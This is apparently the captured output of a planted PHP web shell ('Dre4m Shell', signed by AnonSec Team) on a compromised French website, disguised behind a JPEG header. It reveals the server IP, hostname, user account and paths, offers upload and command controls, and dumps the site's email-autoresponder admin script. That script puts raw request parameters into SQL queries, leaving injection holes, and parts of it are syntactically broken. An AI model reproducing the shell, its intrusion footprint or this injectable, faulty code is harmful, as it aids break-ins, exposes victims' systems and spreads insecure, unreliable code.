ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/action-clean-land.fr/seo-mailing/autoresponders/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/action-clean-land.fr/seo-mailing/autoresponders/index.php
<?php
function relative_time($a) {
	$b = time(); 
	$c = $a;
	$d = $b - $c;
	$minute = 60;
	$hour = $minute * 60;
	$day = $hour * 24;
	$week = $day * 7;
		
	if(is_numeric($d) && $d > 0) {
		if($d < 3) return __('Right now');
		if($d < $minute) return floor($d) . " ".__('Seconds ago');
		if($d < $minute * 2) return __('About 1 minute ago');
		if($d < $hour) return floor($d / $minute) . " ".__('Minutes ago');
		if($d < $hour * 2) return __('About 1 hour ago');
		if($d < $day) return floor($d / $hour) . " ".__('Hours ago');
		if($d > $day && $d < $day * 2) return __('Yesterday');
		if($d < $day * 365) return floor($d / $day) . " ".__('Days ago');
		return __('Over a year ago');
	}
}	
if(count($_POST) && !isset($_POST['id']) && $_SESSION['PERM'][16]['a'] == 1){
	
	if(isset($_POST['autoresponder']) && !(int)$_POST['autoresponder']){
	if(isset($_POST['group'])) { $group = serialize($_POST['group']);}else{$group = '';}
	if(isset($_POST['ddate']) && isset($_POST['ddate_time'])) {$date_start = strtotime($_POST['ddate']." ".$_POST['ddate_time']);}else{ $date_start = '';} 
	if(isset($_POST['ddate_end']) && isset($_POST['ddate_time_end'])) {$date_end = strtotime($_POST['ddate_end']." ".$_POST['ddate_time_end']);}else{ $date_end = '';} 
	if(isset($_POST['weekdays']) && count($_POST['weekdays']) > 0) { $weekdays = serialize($_POST['weekdays']);}else{ $weekdays = '';}
	if(isset($_POST['iinterval'])) {$interval = $_POST['iinterval'];}else{ $interval = '0';}


		 mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs 
		 (id, id_type, id_user, ip, ddate, url, message) 
		 VALUES 
		 ('', '2', '{$_SESSION['id']}', '{$ip}', '".time()."', '".$_SERVER['REQUEST_URI']."', 'User {$_SESSION['user']} is logged out')");


mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."autoresponders 
	(id, id_user,id_group, title, type, template, message, date_start, date_end, days_week, iinterval, status)
		 VALUES ('', '{$_SESSION['id']}', '{$group}', '{$_POST['title']}',
		  '{$_POST['autoresponder']}', '{$_POST['template']}', '".addslashes($_POST['message'])."', '{$date_start}','{$date_end}','{$weekdays}','{$interval}', '1')
		  

	$id_auto = mysqli_insert_id($db);
	
	
	
	
	
	
	
	
	
	if($_POST[autoresponder] == 'autoresponder_timebased'){
			$importance= 'normal';
			$track_clicks ='1';
			$track_reading ='1';
			$d_file = '';
			$group = serialize($_POST[group]);
			$sending_setting = serialize(array($_SET[timeemail],$_SET[numberemail],$_SET[packtimeemail]));
			
			if($_POST[iinterval] > 0) {
				$day = $date_start+60*60*24*(int)$_POST[iinterval];
			}else{
				$day = $date_start;
			}
			function count_dow_in_range($startdate,$enddate,$dow) { 
			  $i=0; 
			  while($startdate<=$enddate) {  
				 if(date('w',$startdate)==$dow) {
					 $i++; 
					 $dd[] = $startdate;
				 }
				 $startdate+=86400; 
			  } 
			  return $dd; 
			} 
			
			
			
			
			if(is_array($_POST['weekdays']) && count($_POST['weekdays']) > 0){
				foreach($_POST['weekdays'] as $k => $v){
					$dd_d[$k] = count_dow_in_range($day,$date_end, $k);
				}
			}else{
				$dd_d[0][0] = $day;
				$dd_d[1][0] = $date_end;
			}
			foreach($dd_d as $val){
				foreach($val as $vvv){
				$query = "INSERT INTO ".$INFO['sql_tbl_prefix']."mail_task (
				id, pid, id_user, ddate_start, ddate_end,
				id_template, id_cat, name, message,
				file, status, importance, id_md5,
				track_clicks, track_reading,pause,sending_setting,
				cron_status) 
				VALUES (
				'', '{$id_auto}', '".$_SESSION['id']."','".$vvv."',
				'0', '{$_POST['template']}', '{$group}', '".mysql_real_escape_string($_POST['title'])."',
				'".addslashes($_POST['message'])."', '{$d_file}', '7', '{$importance}',
				'','{$track_clicks}','{$track_reading}','0','{$sending_setting}',
				'0')"; 
				mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
				$id_task = mysqli_insert_id($db);
				mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."mail_task SET id_md5 = '".md5($id_task)."' WHERE id = ".$id_task." LIMIT 1");
				foreach($_POST['group'] as $val_S){
					$query = "SELECT *,
					(SELECT name FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE ".$INFO['sql_tbl_prefix']."mail_group.id = $val_S) as name_group
					 FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE id_cat = {$val_S} AND status = 0";
					
					$result = mysqli_query($db,$query) or exit("select advice error");
					while($user = mysqli_fetch_array($result)){						
						if(mysqli_num_rows($us_task = mysql_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_task_email WHERE id_task = {$id_task} AND id_user = {$user['id']} LIMIT 1")) == 0){
							$user_ser = serialize(array($user['id'],$user['name'],$user['email'],$user['name_group']));
							$que = "INSERT INTO ".$INFO['sql_tbl_prefix']."mail_task_email (id, id_task, id_user, ddate, status) VALUES ('', '".$id_task."', '{$user_ser}', '0', '0' )"; 
							mysqli_query($db,$que) or exit("insert error" . mysqli_error()."<br>".$que);
						}
					}
				}
				}
				
			}
	}
	
		
	}?>
    <script type="application/javascript">
			document.location.href="?autoresponders";
		</script> 
<?php }elseif(count($_POST) && isset($_POST['id']) && $_SESSION['PERM'][3]['a'] == 1){
	if(isset($_POST['iinterval'])){$interval = $_POST['iinterval'];}else{$interval = 0;}
	if(isset($_POST['weekdays']) && count($_POST['weekdays']) > 0) { $weekdays = serialize($_POST['weekdays']);}else{ $weekdays = '';}
	if(isset($_POST['ddate']) && isset($_POST['ddate_time'])) {$date_start = strtotime($_POST['ddate']." ".$_POST['ddate_time']);}else{ $date_start = '';} 
	if(isset($_POST['ddate_end']) && isset($_POST['ddate_time_end'])) {$date_end = strtotime($_POST['ddate_end']." ".$_POST['ddate_time_end']);}else{ $date_end = '';} 
	$message = addslashes($_POST['message']);
	$query = "UPDATE ".$INFO['sql_tbl_prefix']."autoresponders 
	SET title = '{$_POST['title']}',
	message = '{$message}',
	iinterval = '{$interval}',
	days_week = '{$weekdays}',
	date_start = '{$date_start}',
	date_end = '{$date_end}'
	WHERE id = {$_POST['id']} LIMIT 1"; 
	mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);	
?>
    <script type="application/javascript">
			document.location.href="?autoresponders";
		</script> 
<?php }elseif(isset($_GET['status']) && isset($_GET['a_task'])){
	$query = "UPDATE ".$INFO['sql_tbl_prefix']."autoresponders 
	SET status = '{$_GET['status']}'
	WHERE id = {$_GET['a_task']} LIMIT 1"; 
	mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
	?>
    <script type="application/javascript">
			document.location.href="?autoresponders";
		</script> 
<?php }?>
<?php if(isset($_GET['del'])){
	$query = "DELETE FROM ".$INFO['sql_tbl_prefix']."autoresponders WHERE id=".$_GET['del']."";
	mysqli_query($db,$query) or exit("delet error" . mysqli_error());	 ?>
        <script type="application/javascript">
			document.location.href="?autoresponders";
		</script> 
<?php }elseif(isset($_GET['edit'])){
	
	$query = "SELECT * FROM ".$INFO['sql_tbl_prefix']."autoresponders WHERE id=".(int)$_GET['edit']." LIMIT 1";
	$result = mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
	$auto = mysqli_fetch_array($result);
	?>
		<script>
		jQuery.noConflict()(function($){
			$(document).ready(function () {
				$('#form-content').slideToggle('fast');
				$('#group_block').show();
				<?php if($auto['type'] == 'autoresponder_timebased'){?>
				$('#block_time').show();
				$('#timebased_block').show();
				<?php }?>
			});
		});
		</script>
<?php 
	

} ?>
<div class="page-header">
	<h1><i class="icon-repeat"></i> <?php echo __('Autoresponders');?><?php if($_SESSION['PERM'][16]['a'] == 1){?><div class="pull-right btn-group"><a href="" id="form" class="btn btn-primary"><i class="icon-plus-sign icon-white"></i> <?php echo __('Add');?></a></div><?php } ?></h1>
</div>
<?php if($_SESSION['PERM'][16]['a'] == 1){
	 $url_s =explode("/",$_SERVER['SCRIPT_FILENAME']);
					$url_file = $url_s[count($url_s)-1];
					unset($url_s[count($url_s)-1]);
					$url_file = implode("/",$url_s);

require_once('tiny_mce/tinymce.php');?>
              
<script type="text/javascript">
 function LoadTempl(str)
 { 
 if (str==0)
  {
	  document.getElementById("message").innerHTML="";
	  return;
  }	
 if (window.XMLHttpRequest)
   {// code for IE7+, Firefox, Chrome, Opera, Safari
   xmlhttp=new XMLHttpRequest();
   }
 else
   {// code for IE6, IE5
   xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
   }
 xmlhttp.onreadystatechange=function()
   {
   if (xmlhttp.readyState==4 && xmlhttp.status==200)
     {
	
//	tinyMCE.get('message').remove(); 
	document.getElementById("message").innerHTML=xmlhttp.responseText;
	
	//document.getElementById("message").text = xmlhttp.responseText;
	//tinyMCE.execCommand('mceAddControl', false, 'message');	
	 var ed = tinyMCE.get('message');

        // Do you ajax call here, window.setTimeout fakes ajax call
        ed.setProgressState(1); // Show progress
        window.setTimeout(function() {
                ed.setProgressState(0); // Hide progress
                ed.setContent(xmlhttp.responseText);
        }, 300);
	 
     }
   }
 xmlhttp.open("GET","settings/get_templ.php?id_templ="+str,true);
 xmlhttp.send(null);
} 
 </script>
<div id="form-content" style="display:none">
		<form class="form-horizontal" id="add_newsletter" method="post" action="" enctype="multipart/form-data">
        <?php if(isset($_GET['edit'])){?>
        <input type="hidden" name="id" value="<?php echo $_GET['edit']?>" />
        <?php } ?>
        <div class="row-fluid">
            <div class="span6">
                <div class="control-group">
                    <label class="control-label" for="title"><?php echo __('Subject');?></label>
                    <div class="controls">
                    	<input type="text" style="width:100%" id="title" name="title" value="<?php if(isset($auto['title'])) echo $auto['title']?>" required>
                        <div id="test"></div>
                    </div>
                </div>
                <div class="control-group">
                    <label class="control-label" for="autoresponder"><?php echo __('Event');?></label>
                    <div class="controls">
                		<select name="autoresponder" id="autoresponder" <?php if(isset($_GET['edit'])){?>  <?php }?>>
                        	<?php 
							$result = mysqli_query($db,"SELECT type FROM ".$INFO['sql_tbl_prefix']."autoresponders GROUP BY type");
							if(mysqli_num_rows($result) > 0){
								$type_array = array();
								while($type = mysqli_fetch_array($result)){
									$type_array[] = $type['type']; 
								}
							}
							?>
	                        <?php if(count($type_array) > 0 && !in_array('registration', $type_array)){?><option value="registration" <?php if(isset($auto['type']) && $auto['type'] == 'registration') echo 'selected="selected"';?>><?php echo __('User registration');?></option><?php }?>
                            <?php if(count($type_array) > 0 && !in_array('lost_password', $type_array)){?><option value="lost_password" <?php if(isset($auto['type']) && $auto['type'] == 'lost_password') echo 'selected="selected"';?>><?php echo __('Password recovery');?></option><?php } ?>
                            <option value="subscriber_insert" <?php if(isset($auto['type']) && $auto['type'] == 'subscriber_insert') echo 'selected="selected"';?>><?php echo __('User signed up');?></option>
                            <?php if(count($type_array) > 0 && !in_array('subscriber_unsubscribed', $type_array)){?> <option value="subscriber_unsubscribed" <?php if(isset($auto['type']) && $auto['type'] == 'subscriber_unsubscribed') echo 'selected="selected"';?>><?php echo __('User unsubscribed');?></option><?php } ?>
                           <option value="autoresponder_timebased" <?php if(isset($auto['type']) && $auto['type'] == 'autoresponder_timebased') echo 'selected="selected"';?>><?php echo __('Specific time');?></option>
                            <?php if(count($type_array) > 0 && !in_array('opened', $type_array)){?><option value="opened" <?php if(isset($auto['type']) && $auto['type'] == 'opened') echo 'selected="selected"';?>><?php echo __('Newsletter is opened');?></option><?php } ?>
                            <?php if(count($type_array) > 0 && !in_array('clicked', $type_array)){?><option value="clicked" <?php if(isset($auto['type']) && $auto['type'] == 'clicked') echo 'selected="selected"';?>><?php echo __('Newsletter link is clicked');?></option><?php } ?>
                		</select>
                 </div>
                </div>
                <div class="control-group">
                  <label class="control-label" for="template"><?php echo __('Template');?></label>
                  <div class="controls">
                    <select name="template" id="template" onchange="LoadTempl(this.value)">
                    <option value="0" <?php if(isset($templates['id_cat']) && $templates['id_cat'] == 0){?> selected<?php }?>>--"--"</option>
                <?php   $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."templates ORDER by name ");
                        while($templates = mysqli_fetch_array($result)){ ?>
                       <option value="<?php echo $templates['id']?>" <?php if((isset($templates['id_cat']) && $templates['id_cat'] == $templates['id']) || isset($auto['template']) && $auto['template']== $templates['id']){?> selected<?php }?>><?php echo $templates['name']?></option>
                <?php } ?>			
                </select>
                  </div>
                </div>
                  <div class="control-group" id="timebased_block" style="display: none">                  
                        <label class="control-label" for="ddate"><?php echo __('Interval');?></label>                       
                        <div class="controls"> 
     						  <span class="help-block"><?php echo __('Set the number of days from your previous message');?></span>
                              <?php echo __('Sent')?> <input type="text" class="span2 input-small" id="iinterval" name="iinterval" value="<?php if(isset($auto['iinterval'])){ echo $auto['iinterval'];}else{ echo 0;}?>"> <?php echo strtolower(__('Days after previous'))?>
                        </div>
           	 </div>
            </div>
            <div class="span6"> 
                 <div class="control-group" id="group_block" style="display: none">
                    <label class="control-label" for="group"><?php echo __('Groups');?></label>
                    <div class="controls">
                    <?php 
						$result = mysqli_query($db,"SELECT *,
                        (SELECT COUNT(*) FROM ".$INFO['sql_tbl_prefix']."mail_user WHERE ".$INFO['sql_tbl_prefix']."mail_user.id_cat = ".$INFO['sql_tbl_prefix']."mail_group.id AND ".$INFO['sql_tbl_prefix']."mail_user.status = 0) as count_user
                         FROM ".$INFO['sql_tbl_prefix']."mail_group ORDER by name ");
                            if(mysqli_num_rows($result) > 0){
                                $ready = true;
                                if(isset($_GET['edit']) && isset($auto['id_group'])){
                                    $gr = unserialize($auto['id_group']);
                                }
                                ?>
                    <select name="group[]" id="group" multiple="multiple" style="width:100%; height:150px">
                    <?php  while($group = mysqli_fetch_array($result)){
								$ddate_end = mysqli_fetch_array(mysqli_query($db,"SELECT ddate_end FROM ".$INFO['sql_tbl_prefix']."mail_task WHERE id_cat LIKE '%i:{$group['id']}%' ORDER by ddate_end DESC LIMIT 1"));
								
						
						 ?>
                           <option value="<?php echo $group['id']?>" <?php if(isset($_GET['edit']) && ((is_array($gr) && in_array($group['id'],$gr))) || (isset($auto) && $auto['id_group'] == '')){?> selected="selected"<?php }?>>(<?php echo $group['count_user']?>)  <?php echo $group['name']?> <?php if(isset($ddate_end['ddate_end']) && isset($auto['type']) && $auto['type'] == 'autoresponder_timebased'){echo " - (".__('Last send')." ".relative_time($ddate_end['ddate_end']).")";}?></option>
                    <?php } ?>			
                    </select>
                    <?php }else{
                        $ready = false;
                         ?>
                        <div class="alert alert-info">
                            <?php echo __('Not identified any groups with the attribute &quot;Group of Subscribers&quot;');?>
                        </div>
                    <?php } ?>
                    </div>
                  </div>
            </div>
        </div> 
        <div class="control-group" id="block_time"  style="display: none">
        <div class="controls">
        	 <table class="table table-bordered">
             	<thead>
                        	<tr>
                            	<th class="span1 center">Mo</th>
                              	<th class="span1 center">Tu</th>
                              	<th class="span1 center">We</th>
                              	<th class="span1 center">Th</th>
                                <th class="span1 center">Fr</th>
                              	<th class="span1 center">Sa</th>
                              	<th class="span1 center">Su</th>
                                <th class="span3"><?php echo __('Launch date');?></th>
                                <th class="span3"><?php echo __('Sending end');?></th>
                            </tr>
                </thead>
                <?php
                if(isset($_GET['edit']) && isset($auto['type']) &&  $auto['type'] == 'autoresponder_timebased'){
					$wek = unserialize($auto['days_week']);
				}
				?>
                <tbody>            
                            <tr>
                            	<td class="center"><input name="weekdays[1]" type="checkbox" value="1" <?php if(isset($_GET['edit']) && isset($wek[0])){?>checked="checked"<?php }?>></td>
                                <td class="center"><input name="weekdays[2]" type="checkbox" value="1" <?php if(isset($_GET['edit']) && isset($wek[1])){?>checked="checked"<?php }?>></td>
                                <td class="center"><input name="weekdays[3]" type="checkbox" value="1" <?php if(isset($_GET['edit']) && isset($wek[2])){?>checked="checked"<?php }?>></td>
                                <td class="center"><input name="weekdays[4]" type="checkbox" value="1" <?php if(isset($_GET['edit']) && isset($wek[3])){?>checked="checked"<?php }?>></td>
                                <td class="center"><input name="weekdays[5]" type="checkbox" value="1" <?php if(isset($_GET['edit']) && isset($wek[4])){?>checked="checked"<?php }?>></td>
                                <td class="center"><input name="weekdays[6]" type="checkbox" value="1" <?php if(isset($_GET['edit']) && isset($wek[5])){?>checked="checked"<?php }?>></td>
                                <td class="center"><input name="weekdays[0]" type="checkbox" value="1" <?php if(isset($_GET['edit']) && isset($wek[6])){?>checked="checked"<?php }?>></td>
                                <td><div class="input-prepend input-append">
                                    <input type="text" name="ddate" id="ddate" style="width: 100px;" value="<?php if(isset($auto['date_start'])){echo date("d.m.Y",$auto['date_start']);}?>">&nbsp;
                                    <input type="time" name="ddate_time" style="width:95px" value="<?php if(isset($auto['date_start'])){echo date("H:i",$auto['date_start']);}else{echo date("H:i",time());}?>" required>
                                    <BUTTON name="s" value="<?php echo __('Date');?>" type="button" id="trigger1" class="btn btn-primary"><span><i class="icon-calendar"></i></span></BUTTON>
                                </div></td>
                                <td><div class="input-prepend input-append">
                                    <input type="text" name="ddate_end" id="ddate_end" style="width: 100px;" value="<?php if(isset($auto['date_end'])){echo date("d.m.Y",$auto['date_end']);}?>">&nbsp;
                                    <input type="time" name="ddate_time_end" style="width:95px" value="<?php if(isset($auto['date_end'])){echo date("H:i",$auto['date_end']);}else{echo date("H:i",time());}?>" required>
                                    <BUTTON name="s" value="<?php echo __('Date');?>" type="button" id="trigger2" class="btn btn-primary"><span><i class="icon-calendar"></i></span></BUTTON>
                                </div></td>
                            </tr>
                 </tbody>           
                </table>
            </div>            
        </div>
        <div class="control-group" style="margin-bottom:0px">
          <label class="control-label"><?php echo __('Shortcodes');?></label>
 <?php 		
 			$result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."shortcodes ORDER by system,shortcode");
				if(mysqli_num_rows($result)>0){?>
				<div class="controls alert alert-success">				
<?php			while($sh = mysqli_fetch_array($result)){
		  ?>
            <a class="label label-inverse" title="<?php echo $sh['tooltip']?>" onclick="tinyMCE.execCommand('mceInsertContent',false,'{<?php echo $sh['shortcode']?>}');">{<?php echo $sh['shortcode']?>}</a>
            <?php } ?>
			</div>
			<?php }?>
         </div>        
		<div class="control-group">
          <label class="control-label" for="message"><?php echo __('Message');?></label>
          <div class="controls">
            <textarea rows="7" id="message" class="advanced" name="message"><?php if(isset($auto['message'])) echo $auto['message']?></textarea>
          </div>
        </div>
<div class="form-actions">
		<div class="btn-group">
              <button type="submit" class="btn btn-success"><i class="icon-ok"></i> <?php 
			  	if(isset($_GET['edit'])){
					echo __('Save');
				}else{
					echo __('Create');
				}
			  ?></button>
              <a href="#preview" id="btn_prev" role="button" data-toggle="modal" class="btn btn-primary"><i class="icon-eye-open"></i> <?php echo __('Preview');?></a>
        </div>      
</div>
</form>
</div>
<?php } 
		$status_ar = array('registration'=>__('Registration user'),
        'lost_password'=>__('Recovery password'),
        'opened'=>__('Newsletter is opened'),
        'clicked'=>__('Newsletter link is clicked'),
        'subscriber_unsubscribed'=>__('User unsubscribed'),
        'subscriber_insert'=>__('User signed up'),
		'autoresponder_timebased' => __('By time')
		);


		$result = mysqli_query($db,"SELECT *,
		(SELECT count(*) FROM ".$INFO['sql_tbl_prefix']."mail_group) as count_group,
		(SELECT name FROM ".$INFO['sql_tbl_prefix']."user WHERE ".$INFO['sql_tbl_prefix']."user.id = ".$INFO['sql_tbl_prefix']."autoresponders.id_user) as user_name
		 FROM ".$INFO['sql_tbl_prefix']."autoresponders ORDER by id DESC");
		if(mysqli_num_rows($result) > 0){?>
        <table class="table table-bordered table-striped">
            <thead>
                <tr>
                    <th class="span1 center"><?php echo __('Status');?></th>
                    <th class="span1 center"><?php echo __('Who added');?></th>
                    <th class="span4 center"><?php echo __('Event');?></th>
                    <th class="span2 center"><?php echo __('Group');?></th>
                    <th class="center"><?php echo __('Title');?></th>
                    <?php if((isset($_SESSION['PERM'][16]['e']) && $_SESSION['PERM'][16]['e'] == 1) || (isset($_SESSION['PERM'][16]['r']) && $_SESSION['PERM'][16]['r'] == 1)){?>
                    <th class="span1 center"><?php echo __('Operations');?></th>
                    <?php } ?>
                </tr>
            </thead>
            <?php while($task = mysqli_fetch_array($result)){ ?>
            <tbody>
            	<tr class="font11">
                	<td><?php
					if($task['status'] == 0){?>
                        <span class="label btn-inverse"><?php echo __('Not active');?></span>                	
                    <?php }else{?>
	                    <span class="label label-success"><?php echo __('Active');?></span>
    
                    <?php } ?>    
                    </td>
                    <td><?php echo $task['user_name']?></td>
                    <td><?php echo $status_ar[$task['type']];
					if($task['type'] == 'autoresponder_timebased'){
						$week_array = unserialize($task['days_week']);
						?>
                        <table>
                        	<tr>
                            	<td>Mo</td>
                              	<td>Tu</td>
                              	<td>We</td>
                              	<td>Th</td>
                                <td>Fr</td>
                              	<td>Sa</td>
                              	<td>Su</td>
                                <td><?php echo __('Start')?></td>
                                <td><?php echo __('End')?></td>
                                <td><?php echo __('After')?></td>
                            </tr>
                            <tr>
                            	<td class="center"><?php if(array_key_exists(1,$week_array)){?><i class="icon-check"></i><?php }else{?><i class="icon-check-empty"></i><?php }?></td>
                                <td class="center"><?php if(array_key_exists(2,$week_array)){?><i class="icon-check"></i><?php }else{?><i class="icon-check-empty"></i><?php }?></td>
                                <td class="center"><?php if(array_key_exists(3,$week_array)){?><i class="icon-check"></i><?php }else{?><i class="icon-check-empty"></i><?php }?></td>
                                <td class="center"><?php if(array_key_exists(4,$week_array)){?><i class="icon-check"></i><?php }else{?><i class="icon-check-empty"></i><?php }?></td>
                                <td class="center"><?php if(array_key_exists(5,$week_array)){?><i class="icon-check"></i><?php }else{?><i class="icon-check-empty"></i><?php }?></td>
                                <td class="center"><?php if(array_key_exists(6,$week_array)){?><i class="icon-check"></i><?php }else{?><i class="icon-check-empty"></i><?php }?></td>
                                <td class="center"><?php if(array_key_exists(0,$week_array)){?><i class="icon-check"></i><?php }else{?><i class="icon-check-empty"></i><?php }?></td>
                                <td><?php echo  date("H:i d.m.Y",$task['date_start'])?></td>
                                <td><?php echo  date("H:i d.m.Y",$task['date_end'])?></td>
                                <td><?php echo $task['iinterval']?></td>
                            </tr>
                        </table>
					<?php }?></td>
                    <td><?php if(isset($task['id_group']) && strlen($task['id_group']) > 0){
						$group_array = unserialize($task['id_group']);
						if(is_array($group_array)){
							if($task['count_group'] == count($group_array)){
								echo "<span class='label'>".__('All available groups')."</span> ";
							}else{
								foreach($group_array as $key => $val){
									$gr_name = mysqli_fetch_array(mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."mail_group WHERE id = {$val} LIMIT 1"));
									echo "<span class='label'>".$gr_name['name']."</span> ";
								}
							}
						}
					}else{echo __('All specified');}?></td>
                    <td><?php echo $task['title']?></td>
                    <?php if((isset($_SESSION['PERM'][16]['e']) && $_SESSION['PERM'][16]['e'] == 1) || (isset($_SESSION['PERM'][16]['r']) && $_SESSION['PERM'][16]['r'] == 1)){?>
                    <td><div class="btn-group">
                          <a class="btn btn-primary btn-small dropdown-toggle" data-toggle="dropdown" href="#">
                            <?php echo __('Action');?>
                            <span class="caret"></span>
                          </a>
                          <ul class="dropdown-menu">
                            <!-- dropdown menu links -->
                            <?php if(isset($_SESSION['PERM'][16]['e']) && $_SESSION['PERM'][16]['e'] == 1){?>
                            <li><a href="?autoresponders&edit=<?php echo $task['id']?>" title="<?php echo __('Edit');?>" ><i class="icon-pencil"></i> <?php echo __('Edit');?></a></li>  
                            <?php if($task['status'] == 1){?>
	                            <li><a href="?autoresponders&status=0&a_task=<?php echo $task['id']?>" title="<?php echo __('Disable');?>" ><i class="icon-check-empty"></i> <?php echo __('Disable');?></a></li>  
                            <?php }else{?>
 	                            <li><a href="?autoresponders&status=1&a_task=<?php echo $task['id']?>" title="<?php echo __('Enable');?>" ><i class="icon-check"></i> <?php echo __('Enable');?></a></li>  
                            <?php }} ?>
                            <?php if(isset($_SESSION['PERM'][16]['r']) && $_SESSION['PERM'][16]['r'] == 1){?>
                            <?php if(!in_array($task['type'],array('lost_password','registration','subscriber_unsubscribed','opened','clicked'))){?>
                            <li class="divider"></li>
                            <li><a href="?autoresponders&del=<?php echo $task['id']?>" onClick="return confirm('<?php echo __('Remove?');?>');" ><i class="icon-remove-sign"></i> <?php echo __('Remove');?></a></li>
                            <?php }} ?>
                          </ul>
                        </div> </td>
                        <?php }?>
                </tr>
            </tbody>
            <?php } ?>
        </table>
<?php }else{?>
<div class="alert alert-info">
	<h4><?php echo __('Information');?></h4>
	<?php echo __('List of autoresponders is empty');?>
</div>
<?php } ?>

Anon7 - 2022
AnonSec Team